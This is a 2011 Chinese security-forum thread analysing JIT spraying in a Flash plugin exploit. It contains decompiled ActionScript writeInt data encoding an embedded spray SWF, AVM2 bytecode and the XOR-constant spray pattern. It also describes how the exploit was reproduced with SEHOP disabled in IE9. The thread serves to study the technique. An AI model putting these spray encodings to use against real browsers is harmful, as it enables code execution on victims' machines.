首页
论坛
课程
招聘
[求助+讨论]jit spray的一个实例的疑惑
2011-9-1 09:11 9641

[求助+讨论]jit spray的一个实例的疑惑

2011-9-1 09:11
9641
比如一个swf文件,它的中间代码大概是这样:
_as3_pushint 156456771
_as3_callpropvoid writeInt(param count:1)
_as3_getlocal <0>
_as3_getproperty jit_egg
_as3_pushint 1359
_as3_callpropvoid writeInt(param count:1)
_as3_getlocal <0>
_as3_getproperty jit_egg
_as3_pushdouble 2462964344
_as3_callpropvoid writeInt(param count:1)
_as3_getlocal <0>
_as3_getproperty jit_egg
_as3_pushint 1163161579

反汇编源代码是这样:
function pageLoadEx()
{
var _loc_1:* = new Loader();
this.jit_egg.endian = Endian.LITTLE_ENDIAN;
this.jit_egg.writeInt(156456771);
this.jit_egg.writeInt(1359);
this.jit_egg.writeInt(2462964344);
this.jit_egg.writeInt(1163161579);
this.jit_egg.writeInt(1986512408);
this.jit_egg.writeInt(3174682486);
this.jit_egg.writeInt(2720797961);
this.jit_egg.writeInt(3495836630);
this.jit_egg.writeInt(3212324519);
this.jit_egg.writeInt(1429101399);
this.jit_egg.writeInt(3932031664);
this.jit_egg.writeInt(635156349);
this.jit_egg.writeInt(3547179436);
this.jit_egg.writeInt(1407471022);
this.jit_egg.writeInt(1971932635);
this.jit_egg.writeInt(277404755);
this.jit_egg.writeInt(2327105845);
this.jit_egg.writeInt(1829846665);
this.jit_egg.writeInt(877160627);
this.jit_egg.writeInt(403690194);
this.jit_egg.writeInt(2292273698);
this.jit_egg.writeInt(3686507624);
this.jit_egg.writeInt(3205928413);
this.jit_egg.writeInt(117197396);
this.jit_egg.writeInt(81108174);
this.jit_egg.writeInt(2627472381);
this.jit_egg.writeInt(4013816252);
this.jit_egg.writeInt(1003287484);
this.jit_egg.writeInt(2488116851);
this.jit_egg.writeInt(3203958118);

但在内存中就变成了 0x3c909090 之类的,也就是write jit spray for fun 那篇文章中提到的类似xor指令序列了

这些整数我都看过,转成16进制直接看,貌似跟0x3c909090没半点关系,但在内存中就变成了90 90 90 3c 35之类的攻击指令了   

代码链接见:http://www.exploit-db.com/exploits/14599/

这是一个插件漏洞,漏洞没什么用,不值得去分析,找出来是想讨论下jit spray。那个swf文件是怎么喷射的,怎么就在内存中形成了90 90 90 3c 35之类的指令了??

我在windows7的ie9下测试,ok~~ 前提是把ie9的sehop保护先去掉(这跟这个漏洞的原理有关了)~~ flash player必须是10.0.X的,这个你懂的。 执行完后,若成功,转到www.exploit-db.com这个网站,里面的代码我没仔细分析过,所以有没有木马之类的,我无法保证。。。。。。。但毕竟是exploit-db的,应该没什么恶意~~

望大家多多指教~~

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

收藏
点赞0
打赏
分享
最新回复 (13)
雪    币: 16
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
pende 活跃值 1 2011-9-1 09:28
2
0
你看下各种对象和数据类型在AVM中的保存形式吧
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2011-9-1 10:53
3
0
pushint才是AVM2的汇编指令,理解了JIT也就理解了jit spray,简单的说就是利用JIT机制在内存中制造可控可执行的数据。
雪    币: 53
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 活跃值 2011-9-1 11:11
4
0
这个我查过了,字节码的静态对应关系我还是能够理解的,比如上面的一部分代码的二进制和其伪码表示:

//d0
_as3_getlocal <0>
//66 02
_as3_getproperty jit_egg
//2d 3e
_as3_pushint 156456771
//4f 01 01
_as3_callpropvoid writeInt(param count:1)

比如这里的d0就表示getlocal的指令码

我疑惑的是这样一段代码被jit加载后怎么就生成了90 90 90 3c 35这样的指令序列

对于jit spray最初的两篇文献中讲到到的通过异或写攻击代码,我想我还是能够理解的。
它的中间代码是这样的:
//2d 01
_as3_pushint 1016107152
//2d 01
_as3_pushint 1016107152
//aa
_as3_bitxor
//2d 01
_as3_pushint 1016107152
//aa
_as3_bitxor
//2d 01
_as3_pushint 1016107152
//aa
_as3_bitxor
这里的1016107152 就是 3c909090,加载到内存中形成 90 90 90 3c 35 这样的指令序列还是容易理解的,但前面那个压根就没有这样的数据。

如果将一段shellcode改成采用xor的jit spray方式,我想这是不难的~~ 但通过writeInt这个
该怎么玩了, 它那些整数有什么规律么?
雪    币: 53
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 活跃值 2011-9-1 11:16
5
0
嗯,那种通过xor来表现jit spray生成类似90 90 90 3c 35这样的指令序列,我想我还是能够理解的。 见上面的回答。 我的疑惑是对于这个swf文件它是怎么通过writeInt来实现生成90 90 90 3c 35这样的指令序列(内存中已验证过存在)。

或者换句话说,如果让你将一段shellcode改成这种通过writeInt来实现jit spray,又该怎么玩了?
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2011-9-1 12:38
6
0
编码了? 看来只能找出算法了。
雪    币: 53
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 活跃值 2011-9-1 12:59
7
0
应该只是avm的jit解释引擎的缘故,不是shellcode做了手脚~~因为这只是简单的缓冲区溢出覆盖异常地址,它里面设定了一个地址0d220101,而我断在这里时,shellcode本身应该还没执行,只是flash的虚拟机做了一些工作。。。so这个虚拟机到了做了什么工作, 使得那些神奇的writeInt到内存后就变成了90 90 90 3c 35之类?

补充一下,整个swf文件主要有两个函数中存在大量的writeInt,其中一个就是上面贴出来部分,另一个函数大量使用writeInt的整数,我在内存中可以完整找到,
_loc_2.writeByte(85);
            _loc_2.writeInt(120796465);
            _loc_2.writeInt(120796465);
            _loc_2.writeInt(1960428761);
比如这个,我就在内存中能找到连续的55 65 64 79 20 01。。。。。。。包括了该函数中在writeInt中所用到的所有整数。

但内存属性为 Read+Write,也就是说,不是90 90 90 3c 35这些指令序列所在的Read+Execute。
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2011-9-1 13:34
8
0
我说的编码是writeInt(A)->在内存中产生的具有可执行的B数据,A->B应该是存在映射关系的。
雪    币: 53
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 活跃值 2011-9-1 14:13
9
0
嗯~~ 就是要找的这个关系~~

这个我没找到什么文档,Adobe关于AVM字节码的,可参看:
http://www.adobe.com/content/dam/Adobe/en/devnet/actionscript/articles/avm2overview.pdf
雪    币: 119
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
刘觐肇 活跃值 2011-9-2 00:06
10
0
其实你想知道avm的opcode是如何与asm对应的吧?
如果是这样那么opcode还不是所谓的中间形式,真正的中间形式是LIR。一个opcode可能会生成几条LIR语句,然后再由LIR生成asm
雪    币: 53
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 活跃值 2011-9-2 00:46
11
0
嗯,就是找opcode与asm的对应关系与对应过程。
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2011-9-6 19:20
12
0
我们先前的讨论应该是错误的,我刚发现这里的Loader是用于加载swf文件的,pageLoadEx函数中的那些数据是一个用于jit spray的swf文件。
雪    币: 53
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzk 活跃值 2011-9-6 20:50
13
0
汗,确实是这样的。。。。。 swf文件还能这样加载。。。。被绕进去了~~
雪    币: 373
活跃值: 活跃值 (31)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
lovesuae 活跃值 1 2011-9-6 23:52
14
0
噢,我看花了眼...........
游客
登录 | 注册 方可回帖
返回